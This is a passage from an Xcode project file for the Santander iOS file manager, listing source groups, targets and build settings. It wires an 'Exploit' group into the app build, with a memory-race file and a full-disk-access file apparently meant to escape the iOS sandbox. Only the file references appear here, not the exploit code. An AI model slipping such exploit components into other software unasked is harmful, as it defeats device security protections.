*/,\n\t\t\t\t37C6E0C928662C6800BDDA16 /* PathsSortMethods.swift */,\n\t\t\t\t37963F16286A0F0B00C4B72A /* DirectoryMonitor.swift */,\n\t\t\t\tCE13D1DC28D3572000F5C833 /* RootHelper.swift */,\n\t\t\t\tCE42E24B291A920400187333 /* LoadingValueState.swift */,\n\t\t\t\tCE1F1F6F28F7211700E44DF2 /* PathTransitioning.swift */,\n\t\t\t\tCEFF556029153B9B002C1B99 /* DiffableDataSourceItem.swift */,\n\t\t\t\tCE41CDCF299695700090B616 /* Path.swift */,\n\t\t\t\t6D6413EF2A1E165300DCD315 /* SantanderHeader.h */,\n\t\t\t);\n\t\t\tpath = Other;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t3771D3792862328B00E200B6 /* UI */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t37934DB528707F3200D1248A /* Editors */,\n\t\t\t\t37C6E0C628662C2900BDDA16 /* Path */,\n\t\t\t\t37C6E0C42865CF7C00BDDA16 /* SettingsTableViewController.swift */,\n\t\t\t\t37CA828928AA675B000236D7 /* AppInfoViewController.swift */,\n\t\t\t\t37DE0FA12864902400E5EBBC /* FilePreviewDataSource.swift */,\n\t\t\t\t3712D318286F7F2E00BCD034 /* TypeSelectionViewController.swift */,\n\t\t\t);\n\t\t\tpath = UI;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t3787DB0828ACE4C900ACA60B /* Serialized */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t3787DB0B28ACE5E200ACA60B /* SerializedItemType.swift */,\n\t\t\t\t3787DB0628ACB74D00ACA60B /* SerializedDocumentViewController.swift */,\n\t\t\t\t37137F7728AED89F00E28069 /* SerializedArrayViewController.swift */,\n\t\t\t\t3787DB0928ACE4EE00ACA60B /* SerializedItemViewController.swift */,\n\t\t\t);\n\t\t\tpath = Serialized;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t3789B5D328622B7A00058688 = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tCE33E5502900166000DB4D44 /* .github */,\n\t\t\t\t3789B5DE28622B7A00058688 /* Santander */,\n\t\t\t\tCEC433C128FF20B400C18BD8 /* RootHelper */,\n\t\t\t\t3789B5DD28622B7A00058688 /* Products */,\n\t\t\t\tCE7E02DD290006C70046A7D4 /* Frameworks */,\n\t\t\t\t375D568C28A5B01600E25591 /* entitlements.plist */,\n\t\t\t\tCE3E8FC228FF24D3001B8FAA /* Makefile */,\n\t\t\t);\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t3789B5DD28622B7A00058688 /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t3789B5DC28622B7A00058688 /* Santander.app */,\n\t\t\t\tCEC433C028FF20B400C18BD8 /* RootHelper */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t3789B5DE28622B7A00058688 /* Santander */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t3771D3792862328B00E200B6 /* UI */,\n\t\t\t\t3771D3782862328400E200B6 /* Other */,\n\t\t\t\t3789B5DF28622B7A00058688 /* AppDelegate.swift */,\n\t\t\t\t3789B5E128622B7A00058688 /* SceneDelegate.swift */,\n\t\t\t\t3789B5E828622B7C00058688 /* Assets.xcassets */,\n\t\t\t\t3789B5EA28622B7C00058688 /* LaunchScreen.storyboard */,\n\t\t\t\t3789B5ED28622B7C00058688 /* Info.plist */,\n\t\t\t);\n\t\t\tpath = Santander;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t37934DB528707F3200D1248A /* Editors */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tCE5DFE8228C7BC89003E1095 /* BinaryExecutionViewController.swift */,\n\t\t\t\t3758315C28B4D2E9001E63F2 /* TextEditor */,\n\t\t\t\t376F749E28BC8A4F000E5D77 /* Audio */,\n\t\t\t\t3787DB0828ACE4C900ACA60B /* Serialized */,\n\t\t\t\t3787DB0428ABECF200ACA60B /* FileEditorType.swift */,\n\t\t\t\tCE76B0BD28D74EE900415675 /* AssetCatalog */,\n\t\t\t\t3713292628B618AD009E4AEA /* Image */,\n\t\t\t\tCEF54FF228C3D4CE0078A146 /* Font */,\n\t\t\t);\n\t\t\tpath = Editors;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t37C6E0C628662C2900BDDA16 /* Path */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t3789B5F328622E0D00058688 /* PathListViewController.swift */,\n\t\t\t\t37C6E0CF28673AFF00BDDA16 /* Search.swift */,\n\t\t\t\t37177E4B289F12640025042E /* PathGroupOwnerViewController.swift */,\n\t\t\t\t375CF896289C394E00BB7C60 /* ToolbarItems.swift */,\n\t\t\t\t375CF89E289D969A00BB7C60 /* PathPermissionsViewController.swift */,\n\t\t\t\t37C6E0D12867653A00BDDA16 /* PathSidebarListViewController.swift */,\n\t\t\t\t37C6E0CD28665B2A00BDDA16 /* PathOperationViewController.swift */,\n\t\t\t\t3771D37E2862493E00E200B6 /* PathInformationTableViewController.swift */,\n\t\t\t\t37C6E0C728662C4100BDDA16 /* DragAndDrop.swift */,\n\t\t\t);\n\t\t\tpath = Path;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\t6D6413F02A1E168600DCD315 /* Exploit */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t6D6413F52A1E169600DCD315 /* grant_full_disk_access.h */,\n\t\t\t\t6D6413F32A1E169600DCD315 /* grant_full_disk_access.m */,\n\t\t\t\t6D6413F42A1E169600DCD315 /* helpers.h */,\n\t\t\t\t6D6413F12A1E169500DCD315 /* helpers.m */,\n\t\t\t\t6D6413F22A1E169500DCD315 /* vm_unaligned_copy_switch_race.c */,\n\t\t\t\t6D6413F62A1E169600DCD315 /* vm_unaligned_copy_switch_race.h */,\n\t\t\t);\n\t\t\tpath = Exploit;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tCE76B0BD28D74EE900415675 /* AssetCatalog */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tCE42B203290ABB6400FD9AC9 /* AssetCatalogSidebarListView.swift */,\n\t\t\t\tCE0E512F28D4D03300E9D611 /* AssetCatalogViewController.swift */,\n\t\t\t\tCECB3A0B28E330BC00328434 /* AssetCatalogDetailsView.swift */,\n\t\t\t\tCE37904528DB44C300124029 /* AssetCatalogCell.swift */,\n\t\t\t\tCE1FDA2928F20302000A16BE /* AssetCatalogGridPreviewCell.swift */,\n\t\t\t\tCE7228EC28E8188D00918C5F /* AssetCatalogRenditionViewController.swift */,\n\t\t\t\tCE37904928DB523500124029 /* AssetCatalogSectionHeader.swift */,\n\t\t\t);\n\t\t\tpath = AssetCatalog;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tCE7E02DD290006C70046A7D4 /* Frameworks */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tCE7E02DF290006C70046A7D4 /* CoreServices.framework */,\n\t\t\t\tCEE9B2D929C4591B00D6C826 /* CoreServices.framework */,\n\t\t\t\tCE7E02DE290006C70046A7D4 /* MobileCoreServices.framework */,\n\t\t\t);\n\t\t\tname = Frameworks;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tCEC433C128FF20B400C18BD8 /* RootHelper */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tCEF032B8291ED00700B6F768 /* Extensions.swift */,\n\t\t\t\tCEF032BA291ED00700B6F768 /* main.swift */,\n\t\t\t\tCE2D13DB291D8F460023F16D /* Commands.swift */,\n\t\t\t);\n\t\t\tpath = RootHelper;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n\t\tCEF54FF228C3D4CE0078A146 /* Font */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tCECF6ED928C37F660080B805 /* FontViewerController.swift */,\n\t\t\t\tCEF54FF428C3D4E30078A146 /* FontInformationViewController.swift */,\n\t\t\t);\n\t\t\tpath = Font;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n/* End PBXGroup section */\n\n/* Begin PBXNativeTarget section */\n\t\t3789B5DB28622B7A00058688 /* Santander */ = {\n\t\t\tisa = PBXNativeTarget;\n\t\t\tbuildConfigurationList = 3789B5F028622B7C00058688 /* Build configuration list for PBXNativeTarget \"Santander\" */;\n\t\t\tbuildPhases = (\n\t\t\t\t3789B5D828622B7A00058688 /* Sources */,\n\t\t\t\t3789B5D928622B7A00058688 /* Frameworks */,\n\t\t\t\t3789B5DA28622B7A00058688 /* Resources */,\n\t\t\t\t3765393B286920FC00D76430 /* Embed App Extensions */,\n\t\t\t);\n\t\t\tbuildRules = (\n\t\t\t);\n\t\t\tdependencies = (\n\t\t\t);\n\t\t\tname = Santander;\n\t\t\tpackageProductDependencies = (\n\t\t\t\tCEDAF41F28C36B2900DF03E6 /* Runestone */,\n\t\t\t\tCEA33B36291619EB00DD7BAC /* ApplicationsWrapper */,\n\t\t\t\tCEA33B38291619EB00DD7BAC /* AssetCatalogWrapper */,\n\t\t\t\tCEA33B3A291619EB00DD7BAC /* CompressionWrapper */,\n\t\t\t\tCEA33B3E291619EB00DD7BAC /* FSOperations */,\n\t\t\t\tCEA33B40291619EB00DD7BAC /* NSTask */,\n\t\t\t\tCE2D13D7291D8EE50023F16D /* ArgumentParser */,\n\t\t\t);\n\t\t\tproductName = Santander;\n\t\t\tproductReference = 3789B5DC28622B7A00058688 /* Santander.app */;\n\t\t\tproductType = \"com.apple.product-type.application\";\n\t\t};\n\t\tCEC433BF28FF20B400C18BD8 /* RootHelper */ = {\n\t\t\tisa = PBXNativeTarget;\n\t\t\tbuildConfigurationList = CEC433C428FF20B400C18BD8 /* Build configuration list for PBXNativeTarget \"RootHelper\" */;\n\t\t\tbuildPhases = (\n\t\t\t\tCEC433BC28FF20B400C18BD8 /* Sources */,\n\t\t\t\tCEC433BD28FF20B400C18BD8 /* Frameworks */,\n\t\t\t);\n\t\t\tbuildRules = (\n\t\t\t);\n\t\t\tdependencies = (\n\t\t\t\tCE7E02D728FFF8020046A7D4 /* PBXTargetDependency */,\n\t\t\t\tCE7E02C528FFF44E0046A7D4 /* PBXTargetDependency */,\n\t\t\t);\n\t\t\tname = RootHelper;\n\t\t\tpackageProductDependencies = (\n\t\t\t\tCE2D13D9291D8F210023F16D /* FSOperations */,\n\t\t\t\tCE2D13DD291D8F8A0023F16D /* ArgumentParser */,\n\t\t\t\tCEE06A36291E1E0A00DA8C75 /* CompressionWrapper */,\n\t\t\t\tCEE9B2D729C4590E00D6C826 /* ApplicationsWrapper */,\n\t\t\t\tCEE9B2DB29C4592700D6C826 /* NSTask */,\n\t\t\t);\n\t\t\tproductName = RootHelper;\n\t\t\tproductReference = CEC433C028FF20B400C18BD8 /* RootHelper */;\n\t\t\tproductType = \"com.apple.product-type.library.dynamic\";\n\t\t};\n/* End PBXNativeTarget section */\n\n/* Begin PBXProject section */\n\t\t3789B5D428622B7A00058688 /* Project object */ = {\n\t\t\tisa = PBXProject;\n\t\t\tattributes = {\n\t\t\t\tLastSwiftUpdateCheck = 1410;\n\t\t\t\tLastUpgradeCheck = 1340;\n\t\t\t\tTargetAttributes = {\n\t\t\t\t\t3789B5DB28622B7A00058688 = {\n\t\t\t\t\t\tCreatedOnToolsVersion = 13.4.1;\n\t\t\t\t\t\tLastSwiftMigration = 1410;\n\t\t\t\t\t};\n\t\t\t\t\tCEC433BF28FF20B400C18BD8 = {\n\t\t\t\t\t\tCreatedOnToolsVersion = 14.1;\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t};\n\t\t\tbuildConfigurationList = 3789B5D728622B7A00058688 /* Build configuration list for PBXProject \"Santander\" */;\n\t\t\tcompatibilityVersion = \"Xcode 13.0\";\n\t\t\tdevelopmentRegion = en;\n\t\t\thasScannedForEncodings = 0;\n\t\t\tknownRegions = (\n\t\t\t\ten,\n\t\t\t\tBase,\n\t\t\t);\n\t\t\tmainGroup = 3789B5D328622B7A00058688;\n\t\t\tpackageReferences = (\n\t\t\t\tCEDAF41E28C36B2900DF03E6 /* XCRemoteSwiftPackageReference \"Runestone\" */,\n\t\t\t\tCEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference \"SantanderWrappers\" */,\n\t\t\t\tCE2D13D6291D8EE50023F16D /* XCRemoteSwiftPackageReference \"swift-argument-parser\" */,\n\t\t\t);\n\t\t\tproductRefGroup = 3789B5DD28622B7A00058688 /* Products */;\n\t\t\tprojectDirPath = \"\";\n\t\t\tprojectRoot = \"\";\n\t\t\ttargets = (\n\t\t\t\t3789B5DB28622B7A00058688 /* Santander */,\n\t\t\t\tCEC433BF28FF20B400C18BD8 /* RootHelper */,\n\t\t\t);\n\t\t};\n/* End PBXProject section */\n\n/* Begin PBXResourcesBuildPhase section */\n\t\t3789B5DA28622B7A00058688 /* Resources */ = {\n\t\t\tisa = PBXResourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t375D568D28A5B01600E25591 /* entitlements.plist in Resources */,\n\t\t\t\t3789B5EC28622B7C00058688 /* LaunchScreen.storyboard in Resources */,\n\t\t\t\t3789B5E928622B7C00058688 /* Assets.xcassets in Resources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXResourcesBuildPhase section */\n\n/* Begin PBXSourcesBuildPhase section */\n\t\t3789B5D828622B7A00058688 /* Sources */ = {\n\t\t\tisa = PBXSourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tCE1F1F7028F7211700E44DF2 /* PathTransitioning.swift in Sources */,\n\t\t\t\tCE0E513028D4D03300E9D611 /* AssetCatalogViewController.swift in Sources */,\n\t\t\t\t37C6E0CE28665B2A00BDDA16 /* PathOperationViewController.swift in Sources */,\n\t\t\t\t3771D37B2862329D00E200B6 /* Extensions.swift in Sources */,\n\t\t\t\t3787DB0C28ACE5E200ACA60B /* SerializedItemType.swift in Sources */,\n\t\t\t\tCE7228ED28E8188D00918C5F /* AssetCatalogRenditionViewController.swift in Sources */,\n\t\t\t\tCE42E24C291A920400187333 /* LoadingValueState.swift in Sources */,\n\t\t\t\t374ECDCA2875F5350066E9DD /* AudioPlayerViewController.swift in Sources */,\n\t\t\t\t37C6E0C52865CF7C00BDDA16 /* SettingsTableViewController.swift in Sources */,\n\t\t\t\t37C6E0CA28662C6800BDDA16 /* PathsSortMethods.swift in Sources */,\n\t\t\t\t6D6413FB2A1E174A00DCD315 /* Alert++.swift in Sources */,\n\t\t\t\t37934DB728707F4500D1248A /* TextFileEditorViewController.swift in Sources */,\n\t\t\t\t3713292B28B74D34009E4AEA /* ImageLocationEditorViewController.swift in Sources */,\n\t\t\t\t3713292928B61F98009E4AEA /* ImageMetadataViewController.swift in Sources */,\n\t\t\t\t375CF89F289D969A00BB7C60 /* PathPermissionsViewController.swift in Sources */,\n\t\t\t\t3787DB0528ABECF200ACA60B /* FileEditorType.swift in Sources */,\n\t\t\t\t3713292528B60163009E4AEA /* ImageMetadata.swift in Sources */,\n\t\t\t\t6D6413F72A1E169600DCD315 /* helpers.m in Sources */,\n\t\t\t\tCEB0566328F156F500B71017 /* BaseLayoutAnchorSupporting.swift in Sources */,\n\t\t\t\t37C6E0C828662C4100BDDA16 /* DragAndDrop.swift in Sources */,\n\t\t\t\t37932F052863205F00BF48C8 /* UserPreferences.swift in Sources */,\n\t\t\t\t37177E4C289F12640025042E /* PathGroupOwnerViewController.swift in Sources */,\n\t\t\t\t376F749D28BC8A33000E5D77 /* AudioPlayerToolbarView.swift in Sources */,\n\t\t\t\t37963F132869C96C00C4B72A /* PathType.swift in Sources */,\n\t\t\t\tCECB3A0C28E330BC00328434 /* AssetCatalogDetailsView.swift in Sources */,\n\t\t\t\tCECF6EDA28C37F660080B805 /* FontViewerController.swift in Sources */,\n\t\t\t\t374ECDC82875A3940066E9DD /* Storage.swift in Sources */,\n\t\t\t\t3789B5F428622E0D00058688 /* PathListViewController.swift in Sources */,\n\t\t\t\t3789B5E028622B7A00058688 /* AppDelegate.swift in Sources */,\n\t\t\t\t37137F7828AED89F00E28069 /* SerializedArrayViewController.swift in Sources */,\n\t\t\t\t3712D319286F7F2E00BCD034 /* TypeSelectionViewController.swift in Sources */,\n\t\t\t\t37198B9F2872DDA6000C8CDF /* KeyboardToolsView.swift in Sources */,\n\t\t\t\t37DE0FA22864902400E5EBBC /* FilePreviewDataSource.swift in Sources */,\n\t\t\t\tCE37904628DB44C300124029 /* AssetCatalogCell.swift in Sources */,\n\t\t\t\tCE1FDA2A28F20302000A16BE /* AssetCatalogGridPreviewCell.swift in Sources */,\n\t\t\t\tCEFF556129153B9B002C1B99 /* DiffableDataSourceItem.swift in Sources */,\n\t\t\t\tCE99BC6829951DE0008E31DA /* KeyboardSearchView.swift in Sources */,\n\t\t\t\t37963F17286A0F0B00C4B72A /* DirectoryMonitor.swift in Sources */,\n\t\t\t\tCE37904A28DB523500124029 /* AssetCatalogSectionHeader.swift in Sources */,\n\t\t\t\t6D6413F82A1E169600DCD315 /* vm_unaligned_copy_switch_race.c in Sources */,\n\t\t\t\tCE5DFE8328C7BC89003E1095 /* BinaryExecutionViewController.swift in Sources */,\n\t\t\t\tCEF54FF528C3D4E30078A146 /* FontInformationViewController.swift in Sources */,\n\t\t\t\t375CF897289C394E00BB7C60 /* ToolbarItems.swift in Sources */,\n\t\t\t\t37C6E0D22867653A00BDDA16 /* PathSidebarListViewController.swift in Sources */,\n\t\t\t\t3787DB0728ACB74D00ACA60B /* SerializedDocumentViewController.swift in Sources */,\n\t\t\t\t3787DB0A28ACE4EE00ACA60B /* SerializedItemViewController.swift in Sources */,\n\t\t\t\t6D6413F92A1E169600DCD315 /* grant_full_disk_access.m in Sources */,\n\t\t\t\t37198B9C28721275000C8CDF /* Themes.swift in Sources */,\n\t\t\t\t37C6E0D028673AFF00BDDA16 /* Search.swift in Sources */,\n\t\t\t\t375CF89D289CF3A600BB7C60 /* Permissions.swift in Sources */,\n\t\t\t\tCE13D1DD28D3572000F5C833 /* RootHelper.swift in Sources */,\n\t\t\t\tCE0D0B002906D6F300D17307 /* GoToItem.swift in Sources */,\n\t\t\t\tCE42B204290ABB6400FD9AC9 /* AssetCatalogSidebarListView.swift in Sources */,\n\t\t\t\t37CA828A28AA675B000236D7 /* AppInfoViewController.swift in Sources */,\n\t\t\t\tCE41CDD0299695700090B616 /* Path.swift in Sources */,\n\t\t\t\t37ECADA728B23ECC00B95733 /* ImageViewerController.swift in Sources */,\n\t\t\t\t3771D37F2862493E00E200B6 /* PathInformationTableViewController.swift in Sources */,\n\t\t\t\t37198B9A28721069000C8CDF /* TextEditorThemeSettingsViewController.swift in Sources */,\n\t\t\t\t375CF899289C4FF000BB7C60 /* PathMetadata.swift in Sources */,\n\t\t\t\t3789B5E228622B7A00058688 /* SceneDelegate.swift in Sources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n\t\tCEC433BC28FF20B400C18BD8 /* Sources */ = {\n\t\t\tisa = PBXSourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\tCEF032BD291ED00700B6F768 /* main.swift in Sources */,\n\t\t\t\tCE2D13DC291D8F460023F16D /* Commands.swift in Sources */,\n\t\t\t\tCE41CDD1299695700090B616 /* Path.swift in Sources */,\n\t\t\t\tCEF032BB291ED00700B6F768 /* Extensions.swift in Sources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXSourcesBuildPhase section */\n\n/* Begin PBXTargetDependency section */\n\t\tCE7E02C528FFF44E0046A7D4 /* PBXTargetDependency */ = {\n\t\t\tisa = PBXTargetDependency;\n\t\t\tproductRef = CE7E02C428FFF44E0046A7D4 /* FSOperations */;\n\t\t};\n\t\tCE7E02D728FFF8020046A7D4 /* PBXTargetDependency */ = {\n\t\t\tisa = PBXTargetDependency;\n\t\t\tproductRef = CE7E02D628FFF8020046A7D4 /* AssetCatalogWrapper */;\n\t\t};\n/* End PBXTargetDependency section */\n\n/* Begin PBXVariantGroup section */\n\t\t3789B5EA28622B7C00058688 /* LaunchScreen.storyboard */ = {\n\t\t\tisa = PBXVariantGroup;\n\t\t\tchildren = (\n\t\t\t\t3789B5EB28622B7C00058688 /* Base */,\n\t\t\t);\n\t\t\tname = LaunchScreen.storyboard;\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n/* End PBXVariantGroup section */\n\n/* Begin XCBuildConfiguration section */\n\t\t3789B5EE28622B7C00058688 /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++17\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_WEAK = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = dwarf;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tENABLE_TESTABILITY = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu11;\n\t\t\t\tGCC_DYNAMIC_NO_PIC = NO;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_OPTIMIZATION_LEVEL = 0;\n\t\t\t\tGCC_PREPROCESSOR_DEFINITIONS = (\n\t\t\t\t\t\"DEBUG=1\",\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t);\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 14.0;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;\n\t\t\t\tMTL_FAST_MATH = YES;\n\t\t\t\tONLY_ACTIVE_ARCH = YES;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tSWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;\n\t\t\t\tSWIFT_OPTIMIZATION_LEVEL = \"-Onone\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\t3789B5EF28622B7C00058688 /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++17\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_WEAK = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_DOCUMENTATION_COMMENTS = YES;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tENABLE_NS_ASSERTIONS = NO;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu11;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 14.0;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = NO;\n\t\t\t\tMTL_FAST_MATH = YES;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tSWIFT_COMPILATION_MODE = wholemodule;\n\t\t\t\tSWIFT_OPTIMIZATION_LEVEL = \"-O\";\n\t\t\t\tVALIDATE_PRODUCT = YES;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\t3789B5F128622B7C00058688 /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCODE_SIGN_STYLE = Automatic;\n\t\t\t\tCURRENT_PROJECT_VERSION = 1;\n\t\t\t\tDEVELOPMENT_TEAM = HD373A4P3H;\n\t\t\t\tFRAMEWORK_SEARCH_PATHS = \"$(inherited)\";\n\t\t\t\tGENERATE_INFOPLIST_FILE = YES;\n\t\t\t\tINFOPLIST_FILE = Santander/Info.plist;\n\t\t\t\tINFOPLIST_KEY_CFBundleDisplayName = SantanderEscaped;\n\t\t\t\tINFOPLIST_KEY_LSApplicationCategoryType = \"public.app-category.utilities\";\n\t\t\t\tINFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = 